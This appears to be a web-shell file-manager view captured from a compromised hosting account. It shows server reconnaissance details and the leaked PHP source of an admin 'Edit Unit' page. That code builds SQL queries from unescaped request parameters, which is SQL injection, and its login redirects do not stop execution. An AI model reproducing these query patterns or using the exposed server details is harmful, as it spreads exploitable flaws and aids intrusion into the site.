|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/uniformindia.co.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// start session
session_start();
// set time for session timeout
$currentTime = time() + 25200;
$expired = 3600;
// if session not set go to login page
if(!isset($_SESSION['user'])){
header("location:index.php");
}
// if current time is more than session timeout back to login page
if($currentTime > $_SESSION['timeout']){
session_destroy();
header("location:index.php");
}
// destroy previous session timeout and create new one
unset($_SESSION['timeout']);
$_SESSION['timeout'] = $currentTime + $expired;
?>
<?php include"header.php";?>
<html>
<head>
<title>Edit Colour | <?=$settings['app_name']?> - Dashboard</title>
</head>
</body>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<?php
include_once('includes/functions.php');
?>
<?php
if(isset($_GET['id'])){
$ID = $_GET['id'];
}else{
$ID = "";
}
if(isset($_POST['btnEdit'])){
if($permissions['categories']['update']==1){
$unit = $_POST['unit'];
$error = array();
$sql_query = "UPDATE unit
SET short_code = '".$unit."' WHERE id =".$ID;
// Execute query
$db->sql($sql_query);
// store result
$update_result = $db->getResult();
if(!empty($update_result)){
$update_result=0;
}
else{
$update_result=1;
}
// check update result
if($update_result==1){
$error['update_unit'] = " <section class='content-header'>
<span class='label label-success'>Unit updated Successfully</span>
<h4><small><a href='colors.php'><i class='fa fa-angle-double-left'></i> Back to Categories</a></small></h4>
</section>";
}else{
$error['update_unit'] = " <span class='label label-danger'>Failed update unit</span>";
}
}else{
$error['check_permission'] = " <section class='content-header'>
<span class='label label-danger'>You have no permission to update unit</span>
</section>";
}
}
// create array variable to store previous data
$data = array();
$sql_query = "SELECT *
FROM unit
WHERE id =".$ID;
// Execute query
$db->sql($sql_query);
// store result
$res=$db->getResult();
if(isset($_POST['btnCancel'])){?>
<script>
window.location.href = "units.php";
</script>
<?php } ?>
<section class="content-header">
<h1>
Edit Unit</h1>
<small><?php echo isset($error['update_unit']) ? $error['update_unit'] : '';?></small>
<ol class="breadcrumb">
<li><a href="home.php"><i class="fa fa-home"></i> Home</a></li>
</ol>
</section>
<section class="content">
<!-- Main row -->
<div class="row">
<div class="col-md-6">
<?php if($permissions['categories']['update']==0) { ?>
<div class="alert alert-danger topmargin-sm">You have no permission to update unit.</div>
<?php } ?>
<!-- general form elements -->
<div class="box box-primary">
<div class="box-header with-border">
<h3 class="box-title">Edit Unit</h3>
</div><!-- /.box-header -->
<!-- form start -->
<form method="post"
enctype="multipart/form-data">
<div class="box-body">
<div class="form-group">
<label for="exampleInputEmail1">Unit</label><?php echo isset($error['unit']) ? $error['unit'] : '';?>
<input type="text" class="form-control" name="unit" value="<?php echo $res[0]['short_code']; ?>">
</div>
</div><!-- /.box-body -->
<div class="box-footer">
<button type="submit" class="btn btn-primary" name="btnEdit">Update</button>
<button type="submit" class="btn btn-danger" name="btnCancel">Cancel</button>
</div>
</form>
</div><!-- /.box -->
</div>
</div>
</section>
<div class="separator"> </div>
<?php $db->disconnect(); ?>
</div><!-- /.content-wrapper -->
</body>
</html>
<?php include"footer.php";?>